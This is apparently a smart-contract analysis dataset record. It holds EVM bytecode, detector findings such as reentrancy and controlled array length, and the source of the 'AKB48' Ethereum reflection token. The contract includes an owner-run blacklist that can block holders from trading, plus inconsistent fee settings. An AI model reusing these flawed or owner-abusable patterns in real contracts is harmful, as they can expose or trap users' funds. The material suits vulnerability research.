5b606481351015610aeb57600080fd5b803560208201351015610afd57600080fd5b602081013560408201351015610b1257600080fd5b604081013560608201351015610b2757600080fd5b606081013560808201351015610b3c57600080fd5b620927c060808201351115610b5057600080fd5b606481350615610b5f57600080fd5b606460208201350615610b7157600080fd5b606460408201350615610b8357600080fd5b606460608201350615610b9557600080fd5b606460808201350615610ba757600080fd5b610bc8670de0b6b3a76400008260005b60200201359063ffffffff611c4c16565b600955610bdf670de0b6b3a7640000826001610bb7565b600a55610bf6670de0b6b3a7640000826002610bb7565b600b55610c0d670de0b6b3a7640000826003610bb7565b600c55610c24670de0b6b3a7640000826004610bb7565b600d5550565b600554600090600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610c7d57600080fd5b5af11515610c8a57600080fd5b50505060405180519150505b90565b60005433600160a060020a039081166101009092041614610cb957600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60075481565b60005433600160a060020a039081166101009092041614610d0e57600080fd5b60005460ff161515610d1f57600080fd5b6000805460ff19169055565b600660205281600052604060002081815481101515610d4657fe5b9060005260206000209060049182820401919006600802915091509054906101000a900467ffffffffffffffff1681565b60025460009033600160a060020a0390811691161480610daa575060005433600160a060020a0390811661010090920416145b1515610db557600080fd5b600554600160a060020a03166370a082313060405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515610e0557600080fd5b5af11515610e1257600080fd5b505050604051805191505060008111610e2a57600080fd5b600554600254600160a060020a039182169163a9059cbb91168360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610e8757600080fd5b5af11515610e9457600080fd5b50505050565b600080600080600080610eab61237f565b6003548810610eb957600080fd5b6003805489908110610ec757fe5b906000526020600020906003020160c060405190810160409081528254600160a060020a0390811683526001840154908116602084015267ffffffffffffffff60a060020a909104811691830191909152600290920154808316606083015268010000000000000000810483166080830152608060020a900490911660a0820152905080519650806020015195508060400151945080606001519350806080015192508060a0015191505091939550919395565b60015460009033600160a060020a03908116911614610f9957600080fd5b60035467ffffffffffffffff831610610fb157600080fd5b6003805467ffffffffffffffff8416908110610fc957fe5b600091825260209091206003909102016002810154909150608060020a900467ffffffffffffffff1615610ffc57600080fd5b6001810154600160a060020a03161561101457600080fd5b60028101805477ffffffffffffffff000000000000000000000000000000001916706300000000000000000000000000000000179055805461105f90600160a060020a031683611c82565b60055481546001830154600160a060020a039283169263a9059cbb9216906110a09060a060020a900467ffffffffffffffff16670de0b6b3a7640000611c4c565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156110e357600080fd5b5af115156110f057600080fd5b5050506002810154815467ffffffffffffffff91821691600160a060020a039091169084167f422bafa18c1c6cd5d69e480eb4624f3a7521c1513c3a2dea955614144583c52a60405160405180910390a45050565b60005433600160a060020a03908116610100909204161461116557600080fd5b60005460ff161561117557600080fd5b6000805460ff19166001179055565b61118c61236d565b6006600083600160a060020a0316600160a060020a0316815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561122f57602002820191906000526020600020906000905b82829054906101000a900467ffffffffffffffff1667ffffffffffffffff16815260200190600801906020826007010492830192600103820291508084116111ea5790505b50505050509050919050565b60005433600160a060020a03908116610100909204161461125b57600080fd5b600160a060020a038116151561127057600080fd5b600054600160a060020a03808316916101009004167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a360008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600981600581106112f357fe5b0154905081565b6003546008545b8181101561135757600380548290811061131757fe5b6000918252602090912060039091020160020154608060020a900467ffffffffffffffff16151561134f576000198101600855611357565b600101611301565b5050565b60005433600160a060020a03908116610100909204161461137b57600080fd5b60008111801561138b5750601481105b151561139657600080fd5b6007548114156113a557600080fd5b600755565b600254600160a060020a031681565b60085481565b600080548190819060ff16156113d457600080fd5b60055433600160a060020a039081169116146113ef57600080fd5b6002841180156114005750600a8411155b151561140b57600080fd5b61144385858080601f016020809104026020016040519081016040528181529291906020840183838082843750611dd1945050505050565b9250925092508267ffffffffffffffff166000141561146d5761146881838a8a611ea6565b611491565b8267ffffffffffffffff166001141561148c5761146881838a8a612138565b600080fd5b5050505050505050565b60025433600160a060020a03908116911614806114cb575060005433600160a060020a0390811661010090920416145b15156114d657600080fd5b600160a060020a03811615156114eb57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600554600160a060020a031681565b60005460ff1681565b6003546000190190565b60015433600160a060020a039081169116148061156c575060005433600160a060020a0390811661010090920416145b151561157757600080fd5b600160a060020a038116151561158c57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000546101009004600160a060020a031681565b600154600160a060020a031681565b60035460009067ffffffffffffffff8316106115f957600080fd5b6003805467ffffffffffffffff841690811061161157fe5b600091825260209091206003909102016002810154909150608060020a900467ffffffffffffffff161561164457600080fd5b6001810154600160a060020a03161561165c57600080fd5b805433600160a060020a0390811691161461167657600080fd5b60028101805477ffffffffffffffff0000000000000000000000000000000019167063000000000000000000000000000000001790556116b63383611c82565b6005546001820154600160a060020a039091169063a9059cbb9033906116f59060a060020a900467ffffffffffffffff16670de0b6b3a7640000611c4c565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561173857600080fd5b5af1151561174557600080fd5b505050600281015467ffffffffffffffff90811690600160a060020a0333169084167f422bafa18c1c6cd5d69e480eb4624f3a7521c1513c3a2dea955614144583c52a60405160405180910390a45050565b600254600090819033600160a060020a03908116911614806117cc575060005433600160a060020a0390811661010090920416145b15156117d757600080fd5b600083116117e457600080fd5b600160a060020a038416156117f95783611806565b600254600160a060020a03165b915050600160a060020a033016318083101561185257600160a060020a03821683156108fc0284604051600060405180830381858888f19350505050151561184d57600080fd5b610e94565b81600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f193505050501515610e9457600080fd5b60015460009081908190819033600160a060020a039081169116146118b357600080fd5b60035467ffffffffffffffff8916106118cb57600080fd5b6003805467ffffffffffffffff8a169081106118e357fe5b600091825260209091206003909102016002810154909450608060020a900467ffffffffffffffff1615801561192557506001840154600160a060020a031615155b151561193057600080fd5b600454600160a060020a0316151561194757600080fd5b6004546002850154600160a060020a039091169063c63c1a2790899068010000000000000000900467ffffffffffffffff16898960405160e060020a63ffffffff871602815267ffffffffffffffff948516600482015292909316602483015260448201526064810191909152608401602060405180830381600087803b15156119d057600080fd5b5af115156119dd57600080fd5b5050506040518051935050600167ffffffffffffffff84161480611a0b57508267ffffffffffffffff166002145b1515611a1657600080fd5b60028401805477ffffffffffffffff000000000000000000000000000000001916608060020a67ffffffffffffffff8616021790558354611a6090600160a060020a031689611c82565b6001840154611a819060a060020a900467ffffffffffffffff16600a612344565b6001850154909250611ab7908390611aab9060a060020a900467ffffffffffffffff166002611c4c565b9063ffffffff61235b16565b90508267ffffffffffffffff1660011415611b54576005548454600160a060020a039182169163a9059cbb9116611afc84670de0b6b3a764000063ffffffff611c4c16565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515611b3f57600080fd5b5af11515611b4c57600080fd5b505050611bdb565b6005546001850154600160a060020a039182169163a9059cbb9116611b8784670de0b6b3a764000063ffffffff611c4c16565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515611bca57600080fd5b5af11515611bd757600080fd5b5050505b60028401548454600186015467ffffffffffffffff92831692600160a060020a0392831692908c16917f38557edda3a2b5a2845b77064681d10e029c186fdbb7503b7435288e3f2a6aae9116604051600160a060020a03909116815260200160405180910390a45050505050505050565b600080831515611c5f5760009150611c7b565b50828202828482811515611c6f57fe5b0414611c7757fe5b8091505b5092915050565b600160a060020a03821660009081526006602052604081208054909180808311611cab57600080fd5b506063905060005b82811015611d1a578381815481101515611cc957fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff1667ffffffffffffffff168567ffffffffffffffff161415611d12578091505b600101611cb3565b6063821415611d2857600080fd5b60001983018214611db8578360018403815481101515611d4457fe5b90600052602060002090600491828204019190066008029054906101000a900467ffffffffffffffff168483815481101515611d7c57fe5b90600052602060002090600491828204019190066008026101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b835460001901611dc885826123b4565b50505050505050565b60008060008060008086600081518110611de757fe5b016020015160f860020a900460f860020a0260f860020a9004955086600181518110611e0f57fe5b016020015160f860020a900460f860020a0260f860020a900494506002925060009150865190505b808367ffffffffffffffff161015611e9c5760018367ffffffffffffffff168203036101000a878467ffffffffffffffff1681518110611e7357fe5b016020015160f860020a900460f860020a0260f860020a90040282019150600183019250611e37565b5093959294505050565b600754600160a060020a0383166000908152600660205260408120549091829110611ed057600080fd5b60008567ffffffffffffffff1610158015611ef6575060048567ffffffffffffffff1611155b1515611f0157600080fd5b600967ffffffffffffffff861660058110611f1857fe5b01548314611f2557600080fd5b600554600160a060020a03166323b872dd85308660405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515611f8857600080fd5b5af11515611f9557600080fd5b505050604051805190501515611faa57600080fd5b6003805492506001830190611fbf90826123ed565b506003805467ffffffffffffffff8416908110611fd857fe5b60009182526020909120600390910201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038616178155905061202283670de0b6b3a7640000612344565b600182810180547fffffffff0000000000000000ffffffffffffffffffffffffffffffffffffffff1660a060020a67ffffffffffffffff9485160217905560028301805467ffffffffffffffff191692891692909217909155600160a060020a03851660009081526006602052604090208054909181016120a383826123b4565b916000526020600020906004918282040191900660080284909190916101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550508567ffffffffffffffff1684600160a060020a03168367ffffffffffffffff167ff1fddf9e8812213c247590b0a0f3bf5457dada11d75e708e8454396df345b52760405160405180910390a4505050505050565b60035460009067ffffffffffffffff86161061215357600080fd5b6003805467ffffffffffffffff871690811061216b57fe5b600091825260209091206003909102016002810154909150608060020a900467ffffffffffffffff161561219e57600080fd5b8054600160a060020a03848116911614156121b857600080fd5b600181015482906121e29060a060020a900467ffffffffffffffff16670de0b6b3a7640000611c4c565b146121ec57600080fd5b6001810154600160a060020a03161561220457600080fd5b600554600160a060020a03166323b872dd84308560405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b151561226757600080fd5b5af1151561227457600080fd5b50505060405180519050151561228957600080fd5b60018101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03858116919091179091556002820180546fffffffffffffffff000000000000000019166801000000000000000067ffffffffffffffff888116919091029190911791829055835491811692919091169087167f5f08d451ca35d6b71901ead5258ae70bb467cdca427b19c3653a77c961919ecc86604051600160a060020a03909116815260200160405180910390a45050505050565b600080828481151561235257fe5b04949350505050565b60008282111561236757fe5b50900390565b60206040519081016040526000815290565b60c06040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a082015290565b8154818355818115116123e85760030160049004816003016004900483600052602060002091820191016123e89190612419565b505050565b8154818355818115116123e8576003028160030283600052602060002091820191016123e89190612437565b610c9691905b80821115612433576000815560010161241f565b5090565b610c9691905b8082111561243357805473ffffffffffffffffffffffffffffffffffffffff191681556001810180547fffffffff0000000000000000000000000000000000000000000000000000000016905560028101805477ffffffffffffffffffffffffffffffffffffffffffffffff1916905560030161243d5600a165627a7a72305820a9c2d8a2dec3fca122e23cd07c28211524e90d1fad564ba9728db3003e5b6cc30029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,724
0x7D8A133B3fDDa2bDC340b6402943110dAE3f299E
/** *Submitted for verification at Etherscan.io on 2021-06-21 */ /* ░░█████╗░██╗░░██╗██████╗░░░██╗██╗░█████╗░░███████╗██╗███╗░░██╗░█████╗░███╗░░██╗░█████╗░███████╗ ██╔══██╗██║░██╔╝██╔══██╗░██╔╝██║██╔══██╗░░██╔════╝██║████╗░██║██╔══██╗████╗░██║██╔══██╗██╔════╝ ███████║█████═╝░██████╦╝██╔╝░██║╚█████╔╝░░█████╗░░██║██╔██╗██║███████║██╔██╗██║██║░░╚═╝█████╗░░ ██╔══██║██╔═██╗░██╔══██╗███████║██╔══██╗░░██╔══╝░░██║██║╚████║██╔══██║██║╚████║██║░░██╗██╔══╝░░ ██║░░██║██║░╚██╗██████╦╝╚════██║╚█████╔╝░░██║░░░░░██║██║░╚███║██║░░██║██║░╚███║╚█████╔╝███████╗ ╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░░░░░░╚═╝░╚════╝░░░╚═╝░░░░░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝╚═╝░░╚══╝░╚════╝░╚══════╝ * Website: akb48.finance * Telegram: t.me/akb48_finance * Twitter: twitter.com/AKB48_Finance * * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 2,500,000,000 max buy / 15-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * Fee on sells is dynamic, relative to price impact, minimum of 10% fee and maximum of 40% fee, with NO SELL LIMIT. * 100% UNISWAP LIQUIDITY LAUNCH * ANTI BOT MECHANISM * A token with automatic * buyback mechanisms thus increasing floor price of tokens * CMC and COINGECKO APPLIED (LISTING IN A WEEK) * 2021 © AKB48 | All rights reserved * SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract AKB48 is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "AKB48_Finance"; string private constant _symbol = "AKB48"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600d81526020017f414b4234385f46696e616e636500000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f414b423438000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163f